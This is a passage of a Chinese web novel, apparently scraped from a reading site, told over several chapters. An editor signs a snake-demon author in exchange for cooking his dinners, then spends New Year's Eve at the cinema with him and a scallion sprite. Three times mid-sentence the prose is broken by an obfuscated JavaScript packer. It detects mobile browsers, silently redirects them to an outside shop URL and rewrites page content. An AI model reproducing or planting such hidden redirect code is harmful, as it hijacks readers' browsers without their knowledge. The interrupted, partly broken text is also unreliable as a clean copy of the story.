楚柯顺着她的目光看见了那一狗一葱,不以为意地往前踏了一步,徐安容下意识后退一步,然后就见他从门口挤了进来。 徐安容眨了眨眼,总觉得楚柯今天好像有哪里不对。 不过她也没说什么,给他倒了杯水让他在沙发上等着,自己回到了饭桌前。吃饭的时候,她总感觉有一道视线时不时往这边瞟,偷偷瞄了眼楚柯,却见他目不斜视,一脸正经,可当她回过头,又觉得如芒在背,只得加紧了吃饭的速度。 苗苗戳着排骨,小声地念叨着什么,徐安容稍稍凑近了一点,只听她在碎碎念:“死闷骚死闷骚死闷骚……” 徐安容沉默。 收拾完碗筷,苗苗和大黄赖着不走,徐安容也赶不动他们,就让他们留着,自己搬了笔记本到客厅,翻出电子合同给楚柯看。 “这是我今天和组长还有领导商量过后重新定下来的合同,你看一下,有没有什么问题,如果没有的话,希望能和你尽快签约。” 她将鼠标递给楚柯,自己坐在一旁默默地叹了口气。 早上同事一嚷嚷,连上级都知道了她要挖楚柯墙角的事,还对她予以了充分肯定,说网站目前也正在考虑引进新鲜血液,开拓男频市场,能提前挖来他站大神,尤其是楚柯这种自带流量的大神,对网站来说是一个很大的助力,要她做好动员工作,紧接着大手一批,在大神合同上又让了两分利,给足了己方诚意。 徐安容本来还挺有自信,被领导这么一鼓励,反而有些底气不足,莫名感受到了巨大压力。 本来成不了就成不了吧,现在能让自己铁公鸡似的公司给这么多优惠,可见对楚柯是很重视的,万一没把人挖过来,今年的年终奖金是不是就没着落了? 她心里沉甸甸的,边上楚柯很快看完了合同,不轻不重地点了下头。 “嗯,挺有诚意的。” “所以你的意思是……准备签了?” “不是。”楚柯否认,“我说过,这些条件毫无新意。” 猝不及防的转折让徐安容恨不得抄起电脑砸他脸上。新意新意新意!要什么新意啊!就一份合同还想让它写出朵花来吗? 楚柯似乎察觉了她的小情绪,转过头说道:“其实我家里正好缺一个小保姆,会做饭的那种。” “什么?” 徐安容愣愣地反问道,看着他的目光里满是茫然,楚柯的那句话她好像听懂了,又好像没听懂。他说什么来着?保姆?他缺一个小保姆? “或者说是……厨娘?”楚柯犹豫了一下,换了个说法。 渐渐的,眼里的茫然散去,徐安容漂亮清澈的眸子里闪动着惊讶气愤还有一丝说不上是什么的情绪,盯着楚柯,不敢置信地问道:“你认真的?” 这蛇妖有病吧! 楚柯仿佛看不懂她的震惊与羞恼,淡然地点点头:“你要是同意,合同我可以签。” 徐安容现在确定他是真的有毛病了。 智障蛇妖智障蛇妖智障蛇妖! 她在心里暗骂着,这时候全然忘了楚柯是她迷了三年的男神,伸手就去拿自己的电脑——她决定这合同不签了,奖金没有就没有吧,她还没有那么敬业,可以为了工作而献身。 苗苗和大黄躲在房门口,小心翼翼地探出头想听听他们在说什么,听到楚柯的这句话,苗苗吃惊地张大了嘴,拉拉大黄的狗耳朵,说道:“老蛇怕不是个智障吧?” 大黄深有同感地点点头。 客厅里的一人一妖没有注意到他们的窃窃私语,楚柯也伸手搭在了笔记本电脑上,不让徐安容把它拿走,想了想他又说道:“如果你觉得有问题,我可以更改。” “问题大了去了!”徐安容这回满脑子都是“这家伙是个智障”的想法,什么妖不妖的都被她抛到了脑后,忍不住朝他翻了个白眼,“我是——不可能——卖身的!” 她一点也不愿意为了工作而献身。 楚柯疑惑地眨了一下眼:“我没有要你卖身。” “你想要我给你当厨娘,还作为我们签约的附加条件。”徐安容冷静地指出了问题所在。 “唔……”楚柯也觉得自己的措辞有问题了,在脑海中重新组织了一下语句,他再次提出条件,“那就换成你每天晚上给我们做饭?” 他特意加了个“们”,把苗苗和大黄也囊括了进去。 反正平时他们两个也经常不要脸地跑来混吃混喝,也没见徐安容反对过,所以这个提议她应该不会拒绝吧? 楚柯想着,觉得这回应该没什么问题了。 如果徐安容会读心术,听见他这么想,肯定会很委屈——她一开始明明是反对过的好吗?只是反抗无效,两小妖撒泼打滚卖萌撒娇耍无赖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820021|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样样精通,还有隔壁的蛇妖做靠山,她才不得已选择了屈服。 她压抑着怒火,一字一句问楚柯:“你这条件和刚才有什么区别?” 楚柯平静地说道:“你只要做饭,就像你对他们做的那样。” 他抬手指了指一半身子藏在门后的哈士奇和小葱妖。 大黄意识到他们暴露了,正想带着苗苗往后退,苗苗却突然反应过来为什么楚柯会提出这样的条件。 靠,死闷骚,有话不能直说啊!非得这么迂回! 当初到底是谁对他们来容容姐这蹭吃蹭喝不屑一顾的! 她恨铁不成钢地想着,眼见徐安容对楚柯的误会更深了,赶紧朝她招了招手:“容容姐!你等等!过来一下好不好,我有话和你说!” 徐安容的怒火被她一打断,顿时岔了气,平复了一下情绪,又看了眼挑起她怒火还毫无所觉的楚柯,然后起身向苗苗走去。 房门关上。 苗苗转过身拉着她的裤脚就替楚柯求情:“容容姐,你别生气,老蛇不是故意刁难你,也不是为了羞辱你。他就是……嗯……比较智障。” 徐安容捧起她,没好气地说道:“你还替他说话。” “没有没有没有,我真不是有意替老蛇说话。”苗苗的小脑袋摇得和拨浪鼓似的,“怎么说呢,大蛇哥吧,他有点……那啥……闷骚,所以不好意思将话说得太直白。” 她将自己的推测对徐安容说了一遍,换来徐安容一句:“怎么可能?” “是真的啦!”苗苗在她掌心里跺着脚,小叶子一跳一跳的,“他就是那样的啦!” 一开始楚柯对她和大黄的行为不屑一顾时,苗苗还信了,现在想想,可不就是他的闷骚毛病又发作了么。明明对他们羡慕又嫉妒,自己却拉不下脸,还要装出吃泡面也无所谓的姿态,一定是忍了很久吧,终于借着这次的机会提了个看似正大光明的条件。 只想说,何苦呢。 苗苗深沉地叹了口气,为某蛇的智商表达了深深的担忧。 徐安容有点信了,吃饭时那道如芒在背的目光在这时显得很有说服力。可想想楚柯那副冷冰冰不近人情的样子,她又觉得这事有点玄乎。 折腾这么一圈,他只是想享受和苗苗他们一样的待遇? 有毛病吧。 妖怪的脑回路都是这么迷的吗? 苗苗使劲贴着她蹭蹭蹭,一副她不相信就不肯起来的模样,低头一看,大黄的爪子也搭在她小腿上。 “汪!” 徐安容叹了口气,无奈道:“好吧,我再和他好好说说。” 她还半信半疑,苗苗却当她已经松了口,笑眯眯地抱着她的手指,说道:“放心啦,老蛇很能挣钱的,容容姐你签了他一定不会亏的。” 徐安容不知道该说什么,只好揉揉她的小叶子,回到客厅继续和楚柯谈。 “只能三天,周五加周末。”她竖起三根手指,严肃说道。 她算了一笔账,如果能把楚柯挖过来,她的收益还是很大的,和提成还有奖金比起来,稍微牺牲一点点也不是不可以,但是三天是她的极限了,没看苗苗和大黄也不是每天都来嘛。 楚柯还是那副没什么表情的模样,但有了苗苗的提醒,她特意留意了一下对方细微的神情变化,果然在听她说完后,蛇妖的眼睛亮了许多。 “好,我同意。”蛇妖嘴角微翘,口中却说着和冷淡的语气毫不相干的话,“那现在就签合同吧,就上次那份好了,我觉得那份就可以。” 徐安容:“……” 她忍了又忍,还是没忍住抽了抽嘴角,脸上几乎肉眼可见地挂下三道黑线。 朋友,你的大妖人设快崩掉了好伐? 15. 15 跨年 楚柯最终签下了卖身契。 合同签完,等他与原公司解约后即刻生效。徐安容看着他微扬的嘴角,总觉得好像卖了身的人是她自己。 夜里,将这个消息在工作群里说了一声,仿佛一石激起千层浪,等她洗完澡出来,群里已经炸翻了天,一个个跟打了鸡血似的,热火朝天地畅想着网站的未来。再戳开作者群,里面不知道是谁也得了点风声,往群里一说,大家都知道了有一个外站的大神被挖来了晋江,顿时七嘴八舌地讨论开了。 正要下线,唐俊杰的消息又发来。 “萌编,听说你挖来了楚神?” 话里话外带着一种贼兮兮的语气,还附带一个帖子链接。 徐安容戳进去看了看所谓的知情人士爆料,眯了眯眼,打字回道:“过几天你就知道了。” 唐俊杰眉毛一挑,发了一个只可意味不可言传的表情包:抱紧萌编大腿.jpg。 徐安容不理她,径自下线。 论坛帖子和各路八卦消息传得飞快,到了周四已经传得沸沸扬扬。在一众要求网站出来发声的舆论中,网站直到快下班才不紧不慢地贴了一条公告,确认楚柯已与网站签约。 公告一出,大家又是一阵叫唤。 明天就是元旦假期,很多人已经放了假在刷网络,消息一传十十传百,很快几乎所有看文的人都听说了这件事。 徐安容打发走最后一个来找她八卦的作者时已经比预定的下班时间晚了一个小时,她关了电脑正在收拾东西,手机忽然响起。接通一听,以为又是前来问东问西的人,却没料到听见了苗苗甜甜的声音 “容容姐!” 徐安容信了她真能靠唱歌圈粉,小葱妖声音娇甜又悦耳,光听这么一声“容容姐”,顿时让人低落的心情都明媚了起来,她甚至愿意开着手机不说话,只听她一遍遍地喊。 “怎么了?” “容容姐你下班了吗?” 徐安容有些奇怪她怎么会这么问,却还是如实回答道:“正要走呢,在收拾东西。” “哦。”苗苗沉吟了一下,“那你今晚有没有约会?” “没有……你为什么问这个?” 苗苗嘿嘿笑了笑:“容容姐,老蛇请我们去看电影,你去不去?” 不等拒绝,她又放软了声音撒娇道:“容容姐你可一定要同意啊,我还从来没有在外面跨过年呢,以前只能待在家里哪都去不了。老蛇说我要是说服不了你就不会带我出门,可我真的好想出去,今晚有我女神电影的首映呢……容容姐,容容姐姐~” 明知她有装可怜的成分在,徐安容还是心软地败下阵来。 “我不……不一定能很快回去,今晚外面人多,路上恐怕有些堵,你可能要等很久……我不是拒绝,我没有,真没有……我很乐意去,我只是怕耽误你们时间。” 苗苗打了个响指,语气沉稳而又笃定:“容容姐你现在还在公司对吧?”得到肯定答复,她接着说道,“不要紧,我和老蛇来接你!” 话音落下,她干脆利落地挂断了电话,只留下徐安容对着结束通话的手机屏幕,茫然地眨了眨眼。 与此同时,703的客厅里,苗苗捧着手机得意洋洋地朝楚柯挑衅道:“怎么样?我就说容容姐会答应的吧?” 楚柯对她死皮赖脸缠人家的劲儿很看不上眼,轻轻哼了一声,两手玩着游戏没有半点要停下来的意思。 “你不会是想反悔吧?”苗苗变成萝莉大小,凶巴巴地插着腰,“你明明说了,只要我能说服容容姐和我们一起去,你就带我出门的!” “哦。” 楚柯还是懒洋洋地瘫在沙发上,心里却对徐安容有点埋怨——他特意拉徐安容出来就是拿她当个借口,他说徐安容不去他就不去,只要她拒绝,那他就能顺理成章地留在家里。本来以为徐安容跟他们不熟一定会拒绝,谁知道她这么心软被苗苗三言两语就说动了。 女人啊,真是心软的生物。 他轻轻叹了口气。 早知道就不和苗苗打赌了,一开始就拒绝多好,或者至少换一个比较难达成的条件。 可惜小葱妖太能哭了,一开始就拒绝她,肯定又要折腾,那太令妖头疼了。 他瞥了眼屋外不知何时飘起来的小雪花,想要反悔的念头在脑海里不住盘旋。 苗苗哪里看不出他在想什么,恶狠狠地一把抄走他手机,斩钉截铁道:“不行!你不可以反悔!” “就算你说要叫上一楼的王奶奶,我、我也可以办到!”她气势汹汹地挺了挺小胸脯,“所以,别再想着找借口推脱了,这招对我没用!” “外面这么冷……”楚柯往沙发上缩了缩,试图洗脑她,“不就是跨年么,有什么好玩的。” “今天是我女神电影的首映!首映啊!”苗苗急得一蹦三尺高,“还有灯光秀和好多跨年活动呢!” 她盼星星盼月亮等了一个月了,哪是楚柯说不去就不去的。 “你自己答应了我的……”她抿抿嘴,眼睛里有了点晶莹的水花,好像随时都会滴下来。 这一招叫“水淹金山寺”,后续是“法海镇蛇妖”。 一套下来,就是楚柯也拿她没辙。 某蛇无奈,只好起身。 “行行行,真是麻烦,就这一次啊。” 归根到底还是他也太心软。 大黄贴心地把围巾手套拖了过来,看着楚柯全副武装地穿上防寒装备,将化成原型的苗苗塞进上衣口袋,然后坐在门口朝他们挥了挥爪子,一副镇守在家里看家的模样。 “回来的时候记得帮我带一份KFC的新品套餐。” “……知道了。” 楚柯觉得,他这个一家之主的地位似乎越来越低了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820022|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 徐安容又等了四十分钟。 办公室里暖气已经关了,她冷得打了好几个哆嗦。她站在玻璃窗前看着远处朦胧的路灯光晕轻轻跺着脚,忍不住思考楚柯和苗苗做约定为什么要带上自己。想来想去觉得,关键还是在苗苗的身上,楚柯本身……应该是不会约她看电影的,即便作为邻居,他们也还没有这么熟络。 然而她想破脑袋也想不到,事件的起因仅仅是因为苗苗闹着要出门跨年,而楚柯为了阻止她随口说了一句“你要是能说服你容容姐去我就去”。 思考的期间苗苗打了她两次电话,实时汇报他们的进度,听到他们已经到了离公司不远的位置,徐安容停下思索,立刻拎起包下了楼。 走到楼下,远远就见有一个穿着黑色羽绒服、围着蓝灰色围巾的年轻男人撑着伞从大门进来,徐安容赶紧快走两步到他身前,仔细一看,果然是楚柯。 他走得很慢,也很沉稳,仿佛闲庭散步一般。黑色的伞面遮住了他的表情,他听见徐安容的脚步声,稍稍抬高了雨伞,将她也圈入了遮雪的行列。 他今日穿得很好看。 徐安容见到他的第一眼这样想道。然后,她吓了一跳,赶快把这个念头驱逐了出去,又接着打量楚柯:他似乎有些怕冷,整个身子看起来有些缩着,看似稳健的步伐实则有几分僵硬,神情也有些隐隐的烦躁。 想起他的原形,徐安容表示理解。 蛇嘛,怕冷很正常。 她不加掩饰地观察着楚柯,楚柯也同样在观察她。 这大概是他们心平气和的离得最近的一次,她到他下巴那里,身形还算高挑,黑色的长发发尾有些微卷,柔顺地披散开来,簇拥着她白皙的小脸。她穿了一件中长款的黑色羽绒服,和他并肩站着的时候,看起来甚至有点像是情侣装。 “走吧。”他看了几眼,平静地撑着伞转身。 徐安容紧跟而上:“等等,不是说苗苗也来了吗?” 她刚才看到楚柯孤身一人就觉得奇怪,等到这时才反应过来哪里不对。苗苗约她的时候说得是楚柯请“他们”看电影,没道理只有他自己前来。 “她在,大黄没来。” 楚柯简洁地回答完,徐安容就见到有两片嫩绿的葱叶从他的口袋中悄悄伸了出来,轻轻抖了抖,苗苗细细的声音隔着袋子闷闷地飘到她耳边。 “容容姐,我在这里呀。” “她不能长时间化形,所以只能这样。” 徐安容点了点头,苗苗那充满了随机性的化形时间她是见识过的,跨年夜出门的人多,万一在今晚不小心暴露,那就糟了。 她正要继续说话,忽然听见了自己胃部挣扎的声音,想了想苗苗说过的电影开始时间,打算提议先去吃个饭,没说完就被楚柯打断了。 “那我们现在去……” “看电影。”楚柯说道。 16. 16 蛇之本性 距离电影开始还有两个小时,徐安容当然不会傻乎乎地和他现在就去电影院里等着,脚下一拐,就把楚柯带去了附近的一家餐厅。好在楚柯也不是情商太低,很快反应过来主动请客。 酒足饭饱,两人带着苗苗慢悠悠朝影院走去。 细碎的雪花飘着,却挡不住新年即将来临的欢喜气氛。街上来来往往都是出来跨年的人,进了影院也是座无虚席。 苗苗想看的电影叫做《恋爱无难事》,是一部轻喜剧恋爱片,女主角是当红的新晋影后江纪舒,也是苗苗一直嚷嚷的女神。徐安容也挺喜欢她,虽然年轻,但是演技却非常出众,属于明明有脸还要靠才华的类型。 电影开始,灯光暗了下去,苗苗趁机从口袋中钻了出来,爬到徐安容的肩上。他们坐在最后一排,大家都聚精会神地看着大屏幕,加上场内关了灯,几乎没有人会发现这里有一只小小的葱妖。 苗苗掏出自制的迷你3D眼镜戴上,安安静静地看起了电影。徐安容看着看着,忽然觉得有点不对劲,坐在她右手边的某妖不知道为什么一直在往她这边靠,她稍稍挪开一点,对方还继续贴上来。反复数次,她终于忍无可忍地伸手抵住了他。 “你干什么?” 楚柯停顿了一下,坐直身子:“……没事。” 徐安容狐疑地看着他,影院内黑漆漆一片,只有屏幕透出来的隐约光线,她看不清楚柯是什么表情,见他坐直了不再靠过来,也就略过不提。 头顶的出风口呼啦啦吹着暖气,不知是不是因为空间比较大,感觉室温并不高,不过在室内还穿着羽绒服感觉有点闷,徐安容拉开了衣服的拉链,帽子上一圈绒毛被暖风吹得飘飘摇摇,好几次蹭到苗苗脸上,她打了个喷嚏,从徐安容的右肩爬到了左肩。 电影正放到男女主阴差阳错地进入了对方的身体,性别互换,一时闹出了不少乌龙。徐安容跟着众人一起笑,忽然右肩一沉,扭头看去,楚柯又贴了过来,这回更过分,直接把头靠在了她肩上。 她咬了咬牙,心想就算是妖怪,敢耍流氓也是一样对待。手刚碰到他头发,忽然福至心灵想起来一件事,继而换了个方向戳了戳他的肩膀,问道:“楚柯,你是不是……冷啊?” 进来坐下后就没见他说过话,偶尔侧头看一眼他,也有点怏怏的,别人都因为电影里的情节笑得开心,就他沉默地看着,再看头顶呼呼响的出风口,正好就对着他吹,虽然出来的风是暖的,但这温度比楚柯家里还是要冷上不上。联系一下他的举动,徐安容觉得自己离真相非常接近。 楚柯含糊地嗯了一声,又往她身上蹭了蹭,小半个身体靠了过来。屏幕上正巧光线变亮,徐安容把他推开了一点,一看,眼睛都快闭上了。 她焦急地戳了下苗苗:“苗苗,你看看他,他怎么了?” 苗苗看得更起劲,眼瞅着剧情要到高/潮了,匆匆瞥了一眼,就摆了摆手:“没事,可能有点冷着了,老蛇可是大妖怪,不要紧,你喊喊他就行了。” 说完又聚精会神地看向大屏幕。 “楚柯?楚柯?”徐安容依言叫了几声,总算看见楚柯睁开了眼。 他好像清醒了一点,看了看自己现在的处境,立即坐直了身体,礼貌而又冷淡地道歉:“不好意思。” “你是不是很冷啊?” 徐安容伸手感受了一下头顶吹下来的风,暖还是暖的,可风力确实有点大。平心而论她实在问不出别人在这样的环境下是不是冷的问题,但楚柯是蛇妖,蛇畏寒是本性,换了普通的蛇这时候还在冬眠呢。 “有点。”楚柯皱了皱眉,平静地说道。 外面虽然更冷,可毕竟没有待太久,而且一直在走动,暂时忍忍也还好。到了放映厅里,温度打得不高不说,头顶的风还正对着吹,风力大得只感觉到风而感觉不到暖和,又不能乱动,时间久了就觉得冷了。 蛇一冷就想冬眠,他只是下意识地想贴近身边的热源而已。 “那我把羽绒服给你?”徐安容说着,将外套脱下来递了过去,楚柯也不拒绝,道了谢,将衣服盖在自己身上。 帽子上的白色绒毛拥着他的脸,愈发衬得他五官俊逸,徐安容看着他莫名地生出一丝微妙的感觉来——明明她是女孩子,为什么突然觉得自己男友力max? 楚柯披着外套,继续脑袋一点一点地打瞌睡。徐安容看他坐正了五分钟,转过头看向大屏幕,十分钟后,右肩一沉,怕冷的蛇妖又下意识贴了过来。 她僵了一会儿,无奈地叹了口气,没再把他推开。后面半个小时,她左肩坐着苗苗,右肩枕着蛇妖,愣是异常艰难地看完了这场电影。 临散场,楚柯才醒来,眼睛半睁开,慢腾腾跟在徐安容身后往外走。身边都是涌向出口的人,徐安容怕他被挤到别的地方去,紧紧拉着他的胳膊。不知道是谁忘了什么东西,忽然从潮水般的人群中折返回来,没留神撞了她一下,“啪”的一声,手机从她口袋中掉了出去,摔在地上。 她准备去捡,楚柯却猛地睁大了眼,鼻子嗅了嗅,拉着她后退了一步。 “我的手机……” “妖气。” 徐安容愣了愣:“什么?” “那人身上有妖气。” 徐安容凝神看向撞了她的那人:她穿着驼色大衣,一头挑染成金棕色的大波浪,在室内还戴着棒球帽、墨镜和口罩,看起来非常神秘。 她身上有妖气? 徐安容从没接触过除了邻居家以外的妖,一时间没收敛自己的目光,将对方从头到脚打量了一遍,不知道为什么,她越看越觉得对方有些眼熟。 在她和楚柯交流的短短几秒内,疑似是妖的女人捡起了她的手机递还给她,然后匆匆跑向座位的第一排。徐安容回头看了几眼,就被人流推动着走出了放映厅。 “刚才那个女人……也是妖吗?” 出了放映厅,看不见那个女人了,楚柯的精神又萎靡下来,仿佛设定好了自动化程序一样,自动跟随着徐安容前进。 “也许是吧。”他随口说道。 “什么叫也许是吧?难道你看不出对方是不是妖吗?” 楚柯摇了摇头:“看不出来,只能感觉到有妖气。” “我感觉——”苗苗从他的口袋里冒出小叶子,插话道,“我感觉刚刚那个人很像我女神!” 楚柯不动声色地把她摁回去。 “安静一点。” 苗苗在他口袋里不安分地扭动着:“我感觉真的很像嘛!容容姐你说是不是?” 突然被点到,徐安容愣了一下,随即赞同道:“是有一点。” 难怪她觉得那人看着有些眼熟,苗苗这么一提醒,她顿时就想起来了,确实和新晋影后江纪舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820023|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些相似,虽然又是戴着口罩又是戴着墨镜,但露出的一些轮廓和气质仍然非常接近。 ……等等。 好端端的,来看电影为什么要做这么多掩饰? 难道她真的就是江纪舒? 把这个猜测和苗苗一说,小葱妖顿时兴奋起来。 “快!快!去找她确认一下!” “苗—翠—花。”楚柯毫无波澜的声音响起,“你是不是真想被人发现,然后上新闻联播?” 小葱妖抖了两下,安静地不再动弹了。 徐安容赶紧哄她:“可能是我猜错了,你女神哪有时间来看电影呢,明星的行程那么忙,一定不是她。” 小葱妖蔫巴巴地应了一声,果然不再出声了。 徐安容觉得她有些可怜,还没化形的小妖怪连出门都这么不方便,还得提心吊胆地怕别人发现,再看楚柯,大冷的天离开自家温暖的房间陪小葱妖出门,冻得脸色都发白了,一副随时能冬眠的样子,着实有点凄惨。 妖怪也不好当啊。 她感慨着,就见楚柯在KFC前停下了脚步。 “这里……” “怎么了?” “给大黄带的。”楚柯说着推开了玻璃门走了进去,既是对苗苗也是对她解释,“买完正好去看灯光秀,结束了直接回家。” 徐安容看了眼时间,离十二点还有十五分钟,计划得倒是挺好,只是…… “哈士奇能吃这些吗?” “不要紧。” 想想大黄平时什么都能吃的样子,徐安容不说话了,她伸手在包里翻了翻,翻出了同事送她的优惠券,递给楚柯,接着又意外地翻出了两片暖宝宝。 楚柯仿佛没骨头似的倚着柜台,盯着她手里的两片暖宝宝迟疑了一会儿,伸手接过。 “……谢谢。” 从KFC里出来,看完灯光秀回去的路上,雪忽然大了起来。 小雪纷飞变成了鹅毛大雪,楚柯撑着伞,脸色越来越白,徐安容看着他,又是焦急又是嫌弃。 你说你一个大妖怪,怎么连这点温度都抗不了呢? “才蜕完皮没多久,还没彻底恢复过来。”楚柯仿佛听见了她心底的吐槽,低声回答道。 苗苗这时候也觉得自己闹着非要出来有些过分了,心虚地给他道歉:“大蛇哥哥,对不起啊,我不知道你还没彻底恢复,是我太过分了……” 她开始还以为楚柯只是单纯地不想出门,要是早点知道…… 楚柯拍拍口袋,安慰道:“没什么事。” 话是这么说,等走到16幢楼下,他半个身子都已经趴在了徐安容身上。 他呼出的气都是冷的,徐安容摸了下他额头的温度,只觉得自己像摸到了冰块,认命地叹了口气,扶着他艰难地爬楼梯。 好不容易送他到家,叫来大黄开了门,苗苗迅速地从口袋里跳了出来,落地时已经变成了小萝莉,蹬蹬蹬冲到浴室倒热水。徐安容扶着楚柯到床边,他刚沾上床,立刻化成了巨大的黑蛇。 黑蛇尾巴动了动,勾起被子,又缠上了徐安容的腰。 徐安容正要走,忽然感觉不太对劲,低头一看,某蛇的尾巴尖缠着她的腰正在用劲儿,疑惑刚刚闪过,顿时天旋地转。视线重归平静时,她才发觉大事不妙。 她和被子一块被卷成了春卷。 17. 17 反差萌? 如果这个春卷里不是还有条黑蛇的话,徐安容觉得自己应该还挺萌的。 可是…… 看看近在咫尺的蛇脸,徐安容顿时欲哭无泪。 萌个鬼啊! 王八蛋蛇妖把她当成热水袋了啊! 蛇妖沾床之后就昏睡了过去,眼睛一闭就只剩下了贴近热源的本能,而她就是撤退太慢才被他当作大号人形热水袋给卷了起来。徐安容看看自己身上蓬松的羽绒服,怎么也想不通自己怎么就成为热源了。 她试着挣扎了一下,蛇妖没动。 再挣扎,尾巴尖啪的抽了一下小腿,然后卷得更紧了一些。 “楚柯!” 她喊了一声,黑蛇毫无反应,卷着她翻了一个身。 徐安容觉得极其不妙,现在的姿势她下他上,蛇妖不仅沉,还跟麻花似的缠着她,她要是挣扎缠得就越紧,只能跟木头一样傻愣愣地躺着,眼睛直勾勾盯着天花板。再这样下去,她大概会被压死吧。 谁来……救救她? 徐安容闭上眼,内心滴滴答答落着泪。楚柯已经不满足于缠着她了,尾巴正尝试从她的衣服下摆伸进去,那根邪恶的尾巴灵活地钻进羽绒服里,然后掀开毛衣,再掀开一层毛衣,又掀开……蛇尾巴似乎不满意了,哒哒在她小肚子上戳了两下。 变态色蛇还有理了! 明明看楚柯平时挺冷淡的样子,为什么变成蛇了感觉就这么不正经? 士可杀,不可辱。 徐安容气得想哭,又不敢挣扎。她听说过蛇用起劲来可以绞杀比自己还庞大的猎物,而她本来就没有黑蛇大,万一楚柯昏睡中没个轻重,她怕是就要在这间屋子里香消玉殒了。这种死法光是想想都觉得奇葩。 蛇尾终于掀开了最后的保暖内衣,然后满足地贴在温热的小腹上。徐安容感觉到有一截冰凉且滑溜的东西在自己小腹上盘成了蚊香状,钻心的冷意让她打了两个哆嗦,不敢抗拒,只能一遍遍地喊楚柯的名字。 “楚柯!” “变态蛇妖!” “色蛇!” 楚柯毫无所觉。 大概是在外面冻得狠了,他这一睡就进入了类似冬眠的状态,徐安容喊他的声音差不多就和催眠曲一样,最大的动静也就是让他贴着徐安容的脸蹭了蹭,然后脑袋一歪,接着昏睡。 徐安容放弃了叫醒他,转而扯开嗓子喊了起来。 “救命啊救命啊!有没有妖啊!” “苗苗!” “快来救我啊!” 哒哒哒,凌乱的脚步声传来,苗苗端着水盆和大黄一起冲进了楚柯的卧室。 果然还是要找外援啊。徐安容看着两妖感动得差点流下泪来。 苗苗和大黄仿佛被人按下了暂停键,呆滞地站在门口,看着床上巨大的“春卷”,齐齐张大嘴,发出了一声意味不明的惊叹。 “啊~~” “别啊了,快来救我啊!”徐安容绝望地看着他们俩,“我快被你们楚老大压死了,就算不是压死也快要冷死了,你们不要再围观了好不好?有点妖性啊!” 苗苗立刻回过神:“容容姐,别急,我马上来救你!” 她说着放下水盆,转身蹭蹭往外跑,一眨眼的功夫,又抓着手机跑了回来,对准床上咔咔按着快门。 “太难得了,不拍下来太可惜了……” 她喃喃念叨着,也不知道是自言自语还是在对徐安容解释。徐安容有气无力地翻了个白眼,心想真是狼心狗肺的小妖精,在她那里蹭吃蹭喝这么多天,遇上这种危急情况,第一反应竟然是拍照而不是来救她? 友谊的巨轮已经沉没了谢谢。 “来……救……我……啊……”她虚弱地喊着,反倒是大黄善良地走近了一些,抬起爪子碰了碰“春卷”。 “汪。” 徐安容半月眼斜他:“说人话。” “有点不太好搞啊,容容小姐。”大黄的脸上现出了一点深沉之色,徐安容也不知道自己怎么能从一张哈士奇脸上看出深沉之色,反正就是觉得深沉,“楚老大好像真睡着了。” 以往楚柯睡觉,也就是和普通人类一样,睡着了是可以叫醒的,但要是被冷到了,陷入昏睡状态就只能等他自己醒了。 大黄继续解释着:“容容小姐你听说过冬眠吧,虽然到了老大这个层次已经用不着冬眠了,但是还会有自我保护机制的存在,现在就是自我保护机制开启了,他是很难察觉到外界发生什么的……” “什么时候能醒?”徐安容打断了他的解释。 “呃……”大黄抬起爪子搔了搔脑袋,“这个不好说,可能半小时,也可能几小时,或者……几天?” 几天? 她的尸体都要凉了谢谢。 苗苗终于拍完了照,重新端着水盆走过来,徐安容面无表情地盯着她,直把小葱妖看得有些心底发虚。 “刚才是下意识反应,下意识的,容容姐你没事吧?” 徐安容也半月眼斜她:“你说我这样能没事?” 苗苗瞅瞅眼前这一长条被子卷,迟疑地安慰道:“容容姐你别担心,老蛇可能……就是把你当成了热水袋。”她拍拍大黄,熟练地吩咐,“你去拿热水袋来。” 大黄汪了一声,去客厅拿了热水袋又快速回来。 一狗一葱尝试着把热水袋塞进被子里,蛇妖感觉到比徐安容更暖和的东西,稍稍放开了对她的钳制,尾巴从她小腹上挪开,卷起热水袋又缩回被子里。 苗苗紧张地趴在床边问:“容容姐,怎么样?有效果吗?” “好像……有点?”徐安容也不确定。 她觉得黑蛇缠得没那么紧了,试着推了推他,黑蛇动了两下,总算翻过了身,姿势变成了她在上,楚柯在下。 苗苗小声嘀咕道:“我怎么感觉看着更像鸡肉卷呢。” 大黄和她轻声地咬耳朵表示赞同:“我也觉得。” 徐安容抽了抽嘴角,当作什么也没听见。 也许是热水袋发挥了功效,楚柯缠在她身上的尾巴渐渐收回,变成了紧紧缠着热水袋,徐安容松了口气,等尾巴彻底离开,这才小心地挪动了一下。 还好,没事。 她再接再厉,很快从像条毛毛虫一样被子里蠕动出来,苗苗和大黄在床边全程围观。 